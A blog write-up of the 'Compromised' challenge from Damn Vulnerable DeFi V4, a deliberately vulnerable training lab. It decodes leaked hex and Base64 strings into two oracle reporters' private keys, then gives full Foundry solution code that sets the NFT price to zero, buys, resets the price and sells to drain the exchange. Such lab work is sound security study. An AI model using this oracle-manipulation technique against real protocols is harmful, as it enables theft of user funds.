Damn Vulnerable DeFi V4 - 07 Compromised
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
While poking around a web service of one of the most popular DeFi projects in the space, you get a strange response from the server. Here’s a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0x188...088
, 0xA41...9D8
and 0xab3...a40
.
Starting with just 0.1 ETH in balance, pass the challenge by rescuing all ETH available in the exchange. Then deposit the funds into the designated recovery account.
Solve
Our goal is to drain all of the ETH from exchange
and deposit it into recovery
account.
function _isSolved() private view {
// Exchange doesn't have ETH anymore
assertEq(address(exchange).balance, 0);
// ETH was deposited into the recovery account
assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE);
// Player must not own any NFT
assertEq(nft.balanceOf(player), 0);
// NFT price didn't change
assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
}
The only way we could drain all of the ETH from exchange
is via calling sellOne()
function, but it requires us to hold at least one NFT.
The NFT prices have been set to 999 ether
, which means we must manipulate NFT price via TrustfulOracle
contract before buying a NFT.
Only trusted sources can call TrustfulOracle.postPrice()
to change the NFT price, there’s no way we could bypass this limitation.
However, if we decode the HTTP package, we can get two ASCII string:
// Decode: Hexadecimal -> ASCII
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
->
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
// Decode: Hexadecimal -> ASCII
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
->
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5
These two ASCII strings are Base64 encoded, if we decode it, we can get two ASCII strings start with "0x":
// Decode: Base64 -> ASCII
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
->
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
// Decode: Base64 -> ASCII
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5
->
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
Hmmm…does it look like an Ethereum private key? let’s try to recover its wallet address.
from eth_account import Account
magic_decode_output_1 = "0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744"
magic_decode_output_2 = "0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159"
private_key_1 = Account.from_key(magic_decode_output_1)
private_key_2 = Account.from_key(magic_decode_output_2)
wallet_address_1 = private_key_1.address
wallet_address_2 = private_key_2.address
print(f"Ethereum Address 1: {wallet_address_1}")
# Ethereum Address 1: 0x188Ea627E3531Db590e6f1D71ED83628d1933088
print(f"Ethereum Address 2: {wallet_address_2}")
# Ethereum Address 2: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8
Wow! This is the private key of two of the trusted sources! This means we could manipulate NFT price via TrustfulOracle.postPrice()
function.
The next question is: how does TrustfulOracle.getMedianPrice()
function get the medium price?
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
We already knew the prices.length
is 3
, because there’s only 3 trusted source.
So the _computeMedianPrice()
function always return (leftPrice + rightPrice) / 2
.
[price1, price2, price3]
left right
By using leaked private keys, we could control price1
and price2
to make TrustfulOracle.getMedianPrice()
function return 0
.
vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
oracle.postPrice("DVNFT", 0);
vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
oracle.postPrice("DVNFT", 0);
Let’s summarize the attack steps:
Call
oracle.postPrice("DVNFT", 0)
to make NFT price become0
.Call
exchange.buyOne()
to buy an NFT.Call
oracle.postPrice("DVNFT", 0)
to make NFT price become999 ethers
.Call
exchange.sellOne()
to sell an NFT.Transfer profit into
recovery
account.
Full solution code:
function test_compromised() public checkSolved {
vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
oracle.postPrice("DVNFT", 0);
vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
oracle.postPrice("DVNFT", 0);
vm.prank(player);
exchange.buyOne{value: 1}();
vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8);
oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
vm.startPrank(player);
nft.approve(address(exchange), 0);
exchange.sellOne(0);
payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE);
}
Potential Solution
None, this level is just designed for fun.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣